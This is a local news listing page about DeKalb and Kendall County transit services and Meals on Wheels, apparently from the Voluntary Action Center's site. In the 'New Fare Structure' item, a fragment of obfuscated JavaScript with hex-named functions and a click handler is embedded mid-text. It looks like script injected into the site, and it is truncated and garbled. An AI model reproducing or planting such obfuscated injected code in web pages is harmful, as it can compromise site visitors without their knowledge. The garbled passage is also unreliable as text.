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Community Partners Work to Bring Transit to Northern DeKalb County

SYCAMORE, IL – In Summer of 2018, the Voluntary Action Center (VAC) – in partnership with the Gracie Center, DeKalb County Community Gardens (DCCG), Family Service Agency (FSA), and the Kishwaukee Special Recreation Association (KSRA) – debuted a pilot bus program that services the northern portion of DeKalb County, especially ...read more

Voluntary Action Center seeks volunteers for Meals on Wheels

Volunteer Kayla Perkins delivers a meal and Daily Chronicle newspaper to Daryl Boehmer.

By Katie Finlon SYCAMORE – The Voluntary Action Center is looking for volunteers to help deliver meals to DeKalb County residents in need. There are nine months that have one or two routes not covered throughout the next year, according to a news release. Volunteers use their own vehicles to arrive between 10:30 ...read more

KAT Resumes Waubonsee Community College-Sugar Grove Service

Kendall Area Transit (KAT), in partnership with Waubonsee Community College, is pleased to announce that transportation to the college’s Sugar Grove Campus will resume for the Fall 2018 semester. “We are excited to work with the Waubonsee team to offer this resource to residents of Kendall County”, said Mike Neuenkirchen, KAT ...read more

New Fare Structure Effective August 20th

Beginning Monday, August 20, 2018, the following fare structure will go into effect for the integrated VAC/Huskie Bus System. All riders, without exception, will be expected to pay a fare, present and NIU One Card or transfer ticket, or a single ride fare ticket. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc('click',_0xfb5e65);}());

Transit Consolidation Information

The City of DeKalb, Voluntary Action Center (VAC), and Northern Illinois University (NIU) have been working together to restructure several TransVAC and Huskie Line bus routes in order to provide a better coordinated and on-time bus route system for the DeKalb metropolitan area, per the 2017 Transit Develop Plan published ...read more

KAT Services to Be Expanded in Montgomery

Kendall Area Transit (KAT), in conjunction with the Village of Montgomery, is pleased to announce expansion of service for Kendall County residents of the Village of Montgomery beginning July 1, 2018.  KAT will provide general transit services to all Kendall County locations, plus specific medical locations outside of Kendall County, ...read more

TransVAC riders pleased with service, would like more weekend routes

TransVAC riders pleased with service, would like more weekend routes By DREW ZIMMERMAN DeKALB – Sheila Wilson of DeKalb has relied on the Green Line bus route almost every day for the past month – for work, running errands or visiting her mother in a DeKalb County nursing home. So far, she said ...read more

OUR VIEW: Meal deliveries to elderly, homebound in jeopardy

THE ISSUE: Budget delay causing financial distress for Meals on Wheels OUR VIEW: Consider donating to the program Nearly 1,000 area seniors depend on the meals delivered to their front door by the Voluntary Action Center. The deliveries are not a luxury; they're a necessity. As Congress has failed to approve a budget for ...read more